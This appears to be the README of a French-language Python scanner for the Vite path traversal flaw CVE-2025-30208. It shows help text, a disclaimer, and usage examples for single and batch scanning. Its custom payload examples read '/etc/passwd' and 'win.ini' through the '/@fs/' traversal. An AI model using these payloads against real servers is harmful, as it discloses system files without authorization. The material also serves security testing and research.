isee857/cve-2025-30208-pocScanner Python multi-thread pour la vulnérabilité de traversée de chemin Vite CVE-2025-30208 avec prise en charge de payload personnalisé, scan par lots et débogage proxy.
Les vulnérabilités décrites dans ce document et leurs étapes de reproduction sont fournies uniquement à des fins de recherche en cybersécurité et d'éducation. Personne ne doit utiliser les informations fournies ici à des fins illégales ou pour des tests non autorisés de systèmes. L'auteur décline toute responsabilité pour les dommages directs ou indirects résultant de l'utilisation des informations contenues dans ce document.
Veuillez citer la source !
https://pc.fenchuan8.com/#/index?forum=101158&yqm=DGR4X
usage: vite_check.py [-h] [-f FILE] [-u URL] [-p PAYLOAD] [--proxy PROXY] [-o OUTPUT] [-t THREADS]
Outil de détection de traversée de chemin Vite Auteur:iSee857
optional arguments:
-h, --help Affiche l'aide
-f FILE, --file FILE Fichier contenant les URL cibles
-u URL, --url URL URL cible unique
-p PAYLOAD, --payload PAYLOAD
Chemin de détection personnalisé (deux formats pris en charge) :
1. Avec indicateur de détection : /path??indicator
2. Chemin uniquement : /path?param=1??
Exemples :
-p "/@fs/C://windows/win.ini?import&raw??"
-p "/@fs/etc/passwd?import&raw??"
--proxy PROXY Adresse du proxy (ex : http://127.0.0.1:8080)
-o OUTPUT, --output OUTPUT
Nom du fichier de sortie (par défaut : results.xlsx)
-t THREADS, --threads THREADS
Nombre de threads concurrents (par défaut : 50, plage : 1-200)```
Exemples d'utilisation
1. Scanner une cible unique :
python CVE-2025-30208-PoC.py -u http://example.com -t 5
2. Scanner un fichier de cibles par lot :
python CVE-2025-30208-PoC.py -f targets.txt -o vuln_results.xlsx
3. Utiliser une charge utile personnalisée :
python CVE-2025-30208-PoC.py -u http://example.com -p "/@fs/etc/passwd?import&raw??"
4. Utiliser un proxy pour le débogage :
python CVE-2025-30208-PoC.py -u http://example.com --proxy http://127.0.0.1:8080
5. Combinaison de paramètres :
python CVE-2025-30208-PoC.py -f targets.txt -t 200 -o critical_vulns.xlsx
